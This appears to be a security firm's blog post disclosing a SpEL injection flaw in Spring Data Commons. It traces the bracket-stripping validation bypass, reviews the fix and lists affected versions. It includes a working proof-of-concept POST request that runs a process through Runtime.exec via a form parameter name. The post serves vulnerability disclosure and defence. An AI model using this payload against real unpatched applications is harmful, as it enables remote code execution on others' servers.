Urgences 24 sur 7 – (888) 287-5858   Connexion au Portail TitanSupport    Contactez-nous      Blogue

This February, we ran a Find Security Bugs scan on over at least one hundred components from the Spring Framework, including the core components (spring-core, spring-mvc) but also optional components (spring-data, spring-social, spring-oauth, etc.). From this exercise, we reported some vulnerabilities. In this blog post, we are going to give more details on a SpEL injection vulnerability. While some proof of concept code and exploitation details have already surfaced on Twitter, we will add a focus on how these vulnerabilities were found, followed by a thorough review of the proposed fix.

 

Initial Analysis

Our journey started when we noticed a suspicious expression evaluation in the MapDataBinder.java class, identified by the SPEL_INJECTION pattern as reported by Find Security Bugs. We discovered that the parameter propertyName came from a POST parameter upon form submission:

public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {
    if (!isWritableProperty(propertyName)) { // <---Validation here
        throw new NotWritablePropertyException(type, propertyName);
    }
    StandardEvaluationContext context = new StandardEvaluationContext();
    context.addPropertyAccessor(new PropertyTraversingMapAccessor(type, conversionService));
    context.setTypeConverter(new StandardTypeConverter(conversionService));
    context.setRootObject(map);
    Expression expression = PARSER.parseExpression(propertyName); // Expression evaluation

 
The sole protection against arbitrary expression evaluation appears to be the validation from the isWritableProperty method. Following the execution trace, it can be seen that the isWritableProperty method leads to the execution of getPropertyPath:

@Override
public boolean isWritableProperty(String propertyName) {
   
    try {
        return getPropertyPath(propertyName) != null;
    } catch (PropertyReferenceException e) {
        return false;
    }
}
private PropertyPath getPropertyPath(String propertyName) {
    String plainPropertyPath = propertyName.replaceAll("\\[.*?\\]", "");
    return PropertyPath.from(plainPropertyPath, type);
}

 
We were about to review the PropertyPath.from()  method  in detail, but we realized a much easier bypass was possible: any value enclosed by brackets is removed and therefore the value is ignored. With this knowledge, the attack vector becomes clearer. We’re possibly able to submit a parameter name that would have the pattern « parameterName[T(malicious.class).exec(‘test’)] ».

 

Building a Proof-of-concept

An idea is nothing until it is put into action. When performing extensive code review, the creation of a proof of concept can sometimes be difficult. Luckily, it was not the case for this vulnerability. The first step was obviously constructing a vulnerable environment. We reused an example project located in spring-data-examples repository. The web project used an interface as a form which is required to reach this specific mapper.

After identifying the form, we built the following request and sent it with an HTTP proxy. We were instantly greeted with the calculator spawn, confirming the exploitability of the module:

POST /users?size=5 HTTP/1.1
Host: localhost:8080
Referer: http://localhost:8080/
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
Connection: close
Upgrade-Insecure-Requests: 1

username=test&password=test&repeatedPassword=test&password[T(java.lang.Runtime).getRuntime().exec("calc")]=abc

 

Simple proof of concept request spawning a calc.exe subprocess

 

 

Reviewing The Fix

A complete fix was made in the changeset associated to the bug id DATACMNS-1264. Here is why it can be considered really effective.

While the attack vector presented previously relies on the side effect of a regex, another risk was also found in the implementation. The processed value was parsed twice; once for validation, and once again for execution. This is a subtle detail that is often overlooked when performing code review. An attacker could potentially exploit one subtitle difference between each implementation. This remains theoretical because we didn’t find any difference between both.

The correction made by Pivotal also addresses this small double parsing risk that could have introduced a vulnerability in the future. In the first place, a more limited expression parser (SimpleEvaluationContext) was used. Then, a new validation of the types is integrated as the expression is loaded and executed. The isWritableProperty method was kept but the security of the mapper doesn’t rely on it anymore:

public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {
    [...]
    EvaluationContext context = SimpleEvaluationContext //
        .forPropertyAccessors(new PropertyTraversingMapAccessor(type, conversionService)) // NEW Type validation
        .withConversionService(conversionService) //
        .withRootObject(map) //
        .build();

    Expression expression = PARSER.parseExpression(propertyName);

 

Is my application affected?

Most Spring developers adopted Spring Boot to help dependency management. If this is your case, you should integrate the updates as soon as possible to avoid missing critical security patches, or growing your technical debt. If for any reason you must delay the last months’ updates, here are the specific conditions for the exploitation of this specific bug:

  • Having spring-data-commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, in your dependency tree;
  • At least one interface is used as a form (for example UserForm in the spring-data-examples project);
  • Impacted forms from previous conditions are also accessible to attackers.

 

What’s next?

As the title implies, there will be a second part to this article, as a very similar vulnerability was identified in Spring OAuth2. We wanted to keep both vulnerabilities separate regardless of the similarities to avoid confusion with the exploitation conditions and the different payloads.

You might be wondering where these SpEL injections are likely to be present, aside from the Spring Framework itself. It is unlikely that you will find web application logic directly using the SpEL API. Our offensive security team only recalls one occurrence of such conditions. The most probable case is reviewing other Spring components similar to data-commons. Additional checks can easily be added to your automated scanning tools. If you are a Java developer or tasked with reviewing Java code for security,  you could scan your application using Find Security Bugs, the tool we used to find this vulnerability. As implicitly demonstrated in this article, while this tool can be effective, the confirmation of the exploitability still requires a minimal understanding of the vulnerability class and a small analysis.

We are hoping that this blog was informative to you. Maybe, you will find a similar vulnerability yourself soon.

 

References

Détection et réponse gérées et étendues GoSecure TitanMC (MXDR)

Détection et réponse gérées et étendues GoSecure TitanMC (MXDR) Fondation

Gestion des vulnérabilités en tant que service GoSecure TitanMC (VMaaS)

Surveillance des événements liés aux informations de sécurité gérée GoSecure TitanMC (SIEM gérée)

Défense du périmètre gérée GoSecure TitanMC (pare-feu)

Détection et réponse des boîtes de messagerie GoSecure TitanMC (IDR)

Passerelle de messagerie sécurisée GoSecure TitanMC (SEG)

Modélisateur de menaces GoSecure TitanMC

Identity GoSecure TitanMC

Plateforme GoSecure TitanMC

Services de sécurité professionnels de GoSecure

Services de réponse aux incidents

Évaluation de la maturité de la sécurité

Services de confidentialité

Services PCI DSS

Services de piratage éthique

Opérations de sécurité

MicrosoftLogo

GoSecure MXDR pour Microsoft

Visibilité et réponse complètes au sein de votre environnement de sécurité Microsoft

CAS D'UTILISATION

Cyberrisques

Mesures de sécurité basées sur les risques

Sociétés de financement par capitaux propres

Prendre des décisions éclairées

Sécurité des données sensibles

Protéger les informations sensibles

Conformité en matière de cybersécurité

Respecter les obligations réglementaires

Cyberassurance

Une stratégie précieuse de gestion des risques

Rançongiciels

Combattre les rançongiciels grâce à une sécurité innovante

Attaques de type « zero-day »

Arrêter les exploits de type « zero-day » grâce à une protection avancée

Consolider, évoluer et prospérer

Prenez de l'avance et gagnez la course avec la Plateforme GoSecure TitanMC.

24/7 MXDR

Détection et réponse sur les terminaux GoSecure TitanMC (EDR)

Antivirus de nouvelle génération GoSecure TitanMC (NGAV)

Surveillance des événements liés aux informations de sécurité GoSecure TitanMC (SIEM)

Détection et réponse des boîtes de messagerie GoSecure TitanMC (IDR)

Intelligence GoSecure TitanMC

Notre SOC

Défense proactive, 24h/24, 7j/7

À PROPOS DE GOSECURE

GoSecure est un leader et un innovateur reconnu en matière de cybersécurité, pionnier de l'intégration de la détection des menaces au niveau des terminaux, du réseau et des courriels en un seul service de détection et réponse gérées et étendues (MXDR). Depuis plus de 20 ans, GoSecure aide ses clients à mieux comprendre leurs failles en matière de sécurité et à améliorer leurs risques organisationnels ainsi que leur maturité en matière de sécurité grâce aux solutions MXDR et aux services professionnels fournis par l'une des équipes les plus fiables et les plus compétentes de l'industrie.

CALENDRIER D’ÉVÉNEMENTS

DERNIER COMMUNIQUÉ DE PRESSE

BLOGUE GOSECURE

AVIS DE SÉCURITÉ

Urgences 24 sur 7 – (888) 287-5858